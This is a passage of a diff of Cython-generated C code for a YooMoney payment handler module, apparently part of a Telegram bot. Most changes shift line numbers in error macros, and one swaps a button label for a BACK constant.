__pyx_cur_scope->__pyx_v_amount = __pyx_t_13; - __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_logger); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 163, __pyx_L6_error) + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_logger); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 165, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_5); - __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_debug); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 163, __pyx_L6_error) + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_debug); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 165, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - __pyx_t_5 = PyTuple_New(4); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 163, __pyx_L6_error) + __pyx_t_5 = PyTuple_New(4); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 165, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_6 = 0; __pyx_t_7 = 127; @@ -6065,7 +6067,7 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_8generator2(__pyx_C __pyx_t_6 += 31; __Pyx_GIVEREF(__pyx_kp_u_Payment_succeeded_for_user_id); PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_kp_u_Payment_succeeded_for_user_id); - __pyx_t_3 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_user_id, __pyx_empty_unicode); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 163, __pyx_L6_error) + __pyx_t_3 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_user_id, __pyx_empty_unicode); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 165, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_7 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_3) > __pyx_t_7) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_3) : __pyx_t_7; __pyx_t_6 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_3); @@ -6076,9 +6078,9 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_8generator2(__pyx_C __pyx_t_6 += 10; __Pyx_GIVEREF(__pyx_kp_u_amount_2); PyTuple_SET_ITEM(__pyx_t_5, 2, __pyx_kp_u_amount_2); - __pyx_t_3 = PyFloat_FromDouble(__pyx_cur_scope->__pyx_v_amount); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 163, __pyx_L6_error) + __pyx_t_3 = PyFloat_FromDouble(__pyx_cur_scope->__pyx_v_amount); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 165, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_8 = __Pyx_PyObject_FormatSimple(__pyx_t_3, __pyx_empty_unicode); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 163, __pyx_L6_error) + __pyx_t_8 = __Pyx_PyObject_FormatSimple(__pyx_t_3, __pyx_empty_unicode); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 165, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_8); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_7 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_8) > __pyx_t_7) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_8) : __pyx_t_7; @@ -6086,7 +6088,7 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_8generator2(__pyx_C __Pyx_GIVEREF(__pyx_t_8); PyTuple_SET_ITEM(__pyx_t_5, 3, __pyx_t_8); __pyx_t_8 = 0; - __pyx_t_8 = __Pyx_PyUnicode_Join(__pyx_t_5, 4, __pyx_t_6, __pyx_t_7); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 163, __pyx_L6_error) + __pyx_t_8 = __Pyx_PyUnicode_Join(__pyx_t_5, 4, __pyx_t_6, __pyx_t_7); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 165, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_8); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = NULL; @@ -6108,15 +6110,15 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_8generator2(__pyx_C __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; - if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 163, __pyx_L6_error) + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 165, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_add_payment); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 164, __pyx_L6_error) + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_add_payment); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 166, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_1); - __pyx_t_8 = PyFloat_FromDouble(__pyx_cur_scope->__pyx_v_amount); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 164, __pyx_L6_error) + __pyx_t_8 = PyFloat_FromDouble(__pyx_cur_scope->__pyx_v_amount); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 166, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_8); __pyx_t_5 = NULL; __pyx_t_4 = 0; @@ -6137,7 +6139,7 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_8generator2(__pyx_C __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 3+__pyx_t_4); __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; - if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 164, __pyx_L6_error) + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 166, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } @@ -6167,18 +6169,18 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_8generator2(__pyx_C __pyx_t_12 = __pyx_cur_scope->__pyx_t_2; __pyx_cur_scope->__pyx_t_2 = 0; __Pyx_XGOTREF(__pyx_t_12); - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 164, __pyx_L6_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 166, __pyx_L6_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 164, __pyx_L6_error) + else __PYX_ERR(0, 166, __pyx_L6_error) } } - __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_update_balance); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 165, __pyx_L6_error) + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_update_balance); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 167, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_1); - __pyx_t_8 = PyFloat_FromDouble(__pyx_cur_scope->__pyx_v_amount); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 165, __pyx_L6_error) + __pyx_t_8 = PyFloat_FromDouble(__pyx_cur_scope->__pyx_v_amount); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 167, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_8); __pyx_t_5 = NULL; __pyx_t_4 = 0; @@ -6199,7 +6201,7 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_8generator2(__pyx_C __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 2+__pyx_t_4); __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; - if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 165, __pyx_L6_error) + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 167, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } @@ -6229,18 +6231,18 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_8generator2(__pyx_C __pyx_t_12 = __pyx_cur_scope->__pyx_t_2; __pyx_cur_scope->__pyx_t_2 = 0; __Pyx_XGOTREF(__pyx_t_12); - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 165, __pyx_L6_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 167, __pyx_L6_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 165, __pyx_L6_error) + else __PYX_ERR(0, 167, __pyx_L6_error) } } - __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_send_payment_success_notificatio); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 166, __pyx_L6_error) + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_send_payment_success_notificatio); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 168, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_1); - __pyx_t_8 = PyFloat_FromDouble(__pyx_cur_scope->__pyx_v_amount); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 166, __pyx_L6_error) + __pyx_t_8 = PyFloat_FromDouble(__pyx_cur_scope->__pyx_v_amount); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 168, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_8); __pyx_t_5 = NULL; __pyx_t_4 = 0; @@ -6261,7 +6263,7 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_8generator2(__pyx_C __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 2+__pyx_t_4); __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; - if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 166, __pyx_L6_error) + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 168, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } @@ -6291,12 +6293,12 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_8generator2(__pyx_C __pyx_t_12 = __pyx_cur_scope->__pyx_t_2; __pyx_cur_scope->__pyx_t_2 = 0; __Pyx_XGOTREF(__pyx_t_12); - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 166, __pyx_L6_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 168, __pyx_L6_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 166, __pyx_L6_error) + else __PYX_ERR(0, 168, __pyx_L6_error) } } @@ -6315,7 +6317,7 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_8generator2(__pyx_C __pyx_t_14 = __Pyx_PyErr_ExceptionMatches(__pyx_builtin_ValueError); if (__pyx_t_14) { __Pyx_AddTraceback("handlers.payments.yoomoney_pay.yoomoney_webhook", __pyx_clineno, __pyx_lineno, __pyx_filename); - if (__Pyx_GetException(&__pyx_t_2, &__pyx_t_1, &__pyx_t_8) < 0) __PYX_ERR(0, 167, __pyx_L8_except_error) + if (__Pyx_GetException(&__pyx_t_2, &__pyx_t_1, &__pyx_t_8) < 0) __PYX_ERR(0, 169, __pyx_L8_except_error) __Pyx_XGOTREF(__pyx_t_2); __Pyx_XGOTREF(__pyx_t_1); __Pyx_XGOTREF(__pyx_t_8); @@ -6324,14 +6326,14 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_8generator2(__pyx_C __pyx_cur_scope->__pyx_v_e = __pyx_t_1; /*try:*/ { - __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_logger); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 168, __pyx_L20_error) + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_logger); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 170, __pyx_L20_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_15 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_error); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 168, __pyx_L20_error) + __pyx_t_15 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_error); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 170, __pyx_L20_error) __Pyx_GOTREF(__pyx_t_15); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_e, __pyx_empty_unicode); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 168, __pyx_L20_error) + __pyx_t_3 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_e, __pyx_empty_unicode); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 170, __pyx_L20_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_16 = __Pyx_PyUnicode_Concat(__pyx_kp_u_user_id_amount, __pyx_t_3); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 168, __pyx_L20_error) + __pyx_t_16 = __Pyx_PyUnicode_Concat(__pyx_kp_u_user_id_amount, __pyx_t_3); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 170, __pyx_L20_error) __Pyx_GOTREF(__pyx_t_16); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = NULL; @@ -6353,22 +6355,22 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_8generator2(__pyx_C __pyx_t_5 = __Pyx_PyObject_FastCall(__pyx_t_15, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_16); __pyx_t_16 = 0; - if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 168, __pyx_L20_error) + if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 170, __pyx_L20_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0; } __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_XDECREF(__pyx_r); - __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_web); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 169, __pyx_L20_error) + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_web); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 171, __pyx_L20_error) __Pyx_GOTREF(__pyx_t_5); - __pyx_t_15 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_Response); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 169, __pyx_L20_error) + __pyx_t_15 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_Response); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 171, __pyx_L20_error) __Pyx_GOTREF(__pyx_t_15); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - __pyx_t_5 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 169, __pyx_L20_error) + __pyx_t_5 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 171, __pyx_L20_error) __Pyx_GOTREF(__pyx_t_5); - if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_status, __pyx_int_400) < 0) __PYX_ERR(0, 169, __pyx_L20_error) - __pyx_t_16 = __Pyx_PyObject_Call(__pyx_t_15, __pyx_empty_tuple, __pyx_t_5); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 169, __pyx_L20_error) + if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_status, __pyx_int_400) < 0) __PYX_ERR(0, 171, __pyx_L20_error) + __pyx_t_16 = __Pyx_PyObject_Call(__pyx_t_15, __pyx_empty_tuple, __pyx_t_5); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 171, __pyx_L20_error) __Pyx_GOTREF(__pyx_t_16); __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0; __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; @@ -6466,15 +6468,15 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_8generator2(__pyx_C } __Pyx_XDECREF(__pyx_r); - __Pyx_GetModuleGlobalName(__pyx_t_8, __pyx_n_s_web); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 171, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_8, __pyx_n_s_web); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 173, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_8); - __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_8, __pyx_n_s_Response); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 171, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_8, __pyx_n_s_Response); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 173, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; - __pyx_t_8 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 171, __pyx_L1_error) + __pyx_t_8 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 173, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_8); - if (PyDict_SetItem(__pyx_t_8, __pyx_n_s_status, __pyx_int_200) < 0) __PYX_ERR(0, 171, __pyx_L1_error) - __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_empty_tuple, __pyx_t_8); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 171, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_8, __pyx_n_s_status, __pyx_int_200) < 0) __PYX_ERR(0, 173, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_empty_tuple, __pyx_t_8); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 173, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; @@ -6564,7 +6566,7 @@ PyObject *__pyx_args, PyObject *__pyx_kwds (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); kw_args--; } - else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 174, __pyx_L3_error) + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 176, __pyx_L3_error) else goto __pyx_L5_argtuple_error; CYTHON_FALLTHROUGH; case 1: @@ -6572,14 +6574,14 @@ PyObject *__pyx_args, PyObject *__pyx_kwds (void)__Pyx_Arg_NewRef_FASTCALL(values[1]); kw_args--; } - else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 174, __pyx_L3_error) + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 176, __pyx_L3_error) else { - __Pyx_RaiseArgtupleInvalid("process_enter_custom_amount", 1, 2, 2, 1); __PYX_ERR(0, 174, __pyx_L3_error) + __Pyx_RaiseArgtupleInvalid("process_enter_custom_amount", 1, 2, 2, 1); __PYX_ERR(0, 176, __pyx_L3_error) } } if (unlikely(kw_args > 0)) { const Py_ssize_t kwd_pos_args = __pyx_nargs; - if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "process_enter_custom_amount") < 0)) __PYX_ERR(0, 174, __pyx_L3_error) + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "process_enter_custom_amount") < 0)) __PYX_ERR(0, 176, __pyx_L3_error) } } else if (unlikely(__pyx_nargs != 2)) { goto __pyx_L5_argtuple_error; @@ -6592,7 +6594,7 @@ PyObject *__pyx_args, PyObject *__pyx_kwds } goto __pyx_L6_skip; __pyx_L5_argtuple_error:; - __Pyx_RaiseArgtupleInvalid("process_enter_custom_amount", 1, 2, 2, __pyx_nargs); __PYX_ERR(0, 174, __pyx_L3_error) + __Pyx_RaiseArgtupleInvalid("process_enter_custom_amount", 1, 2, 2, __pyx_nargs); __PYX_ERR(0, 176, __pyx_L3_error) __pyx_L6_skip:; goto __pyx_L4_argument_unpacking_done; __pyx_L3_error:; @@ -6631,7 +6633,7 @@ static PyObject *__pyx_pf_8handlers_8payments_12yoomoney_pay_9process_enter_cust if (unlikely(!__pyx_cur_scope)) { __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount *)Py_None); __Pyx_INCREF(Py_None); - __PYX_ERR(0, 174, __pyx_L1_error) + __PYX_ERR(0, 176, __pyx_L1_error) } else { __Pyx_GOTREF((PyObject *)__pyx_cur_scope); } @@ -6642,7 +6644,7 @@ static PyObject *__pyx_pf_8handlers_8payments_12yoomoney_pay_9process_enter_cust __Pyx_INCREF(__pyx_cur_scope->__pyx_v_state); __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_state); { - __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_12yoomoney_pay_11generator3, __pyx_codeobj__14, (PyObject *) __pyx_cur_scope, __pyx_n_s_process_enter_custom_amount, __pyx_n_s_process_enter_custom_amount, __pyx_n_s_handlers_payments_yoomoney_pay); if (unlikely(!gen)) __PYX_ERR(0, 174, __pyx_L1_error) + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_12yoomoney_pay_11generator3, __pyx_codeobj__10, (PyObject *) __pyx_cur_scope, __pyx_n_s_process_enter_custom_amount, __pyx_n_s_process_enter_custom_amount, __pyx_n_s_handlers_payments_yoomoney_pay); if (unlikely(!gen)) __PYX_ERR(0, 176, __pyx_L1_error) __Pyx_DECREF(__pyx_cur_scope); __Pyx_RefNannyFinishContext(); return (PyObject *) gen; @@ -6683,9 +6685,9 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_11generator3(__pyx_ return NULL; } __pyx_L3_first_run:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 174, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 176, __pyx_L1_error) - __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 178, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 180, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = NULL; __pyx_t_4 = 0; @@ -6705,7 +6707,7 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_11generator3(__pyx_ PyObject *__pyx_callargs[2] = {__pyx_t_3, NULL}; __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; - if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 178, __pyx_L1_error) + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 180, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } @@ -6713,15 +6715,18 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_11generator3(__pyx_ __pyx_cur_scope->__pyx_v_builder = __pyx_t_1; __pyx_t_1 = 0; - __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 179, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 181, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 179, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 181, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_5 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 179, __pyx_L1_error) + __pyx_t_5 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 181, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); - if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_text, __pyx_kp_u__15) < 0) __PYX_ERR(0, 179, __pyx_L1_error) - if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_callback_data, __pyx_n_u_pay_yoomoney) < 0) __PYX_ERR(0, 179, __pyx_L1_error) - __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_empty_tuple, __pyx_t_5); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 179, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_BACK); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 181, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_text, __pyx_t_6) < 0) __PYX_ERR(0, 181, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_callback_data, __pyx_n_u_pay_yoomoney) < 0) __PYX_ERR(0, 181, __pyx_L1_error) + __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_empty_tuple, __pyx_t_5); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 181, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; @@ -6744,29 +6749,32 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_11generator3(__pyx_ __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 179, __pyx_L1_error) + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 181, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_edit_or_send_message); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 181, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_edit_or_send_message); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 183, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 182, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 184, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - __pyx_t_6 = PyTuple_New(1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 181, __pyx_L1_error) + __pyx_t_6 = PyTuple_New(1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 183, 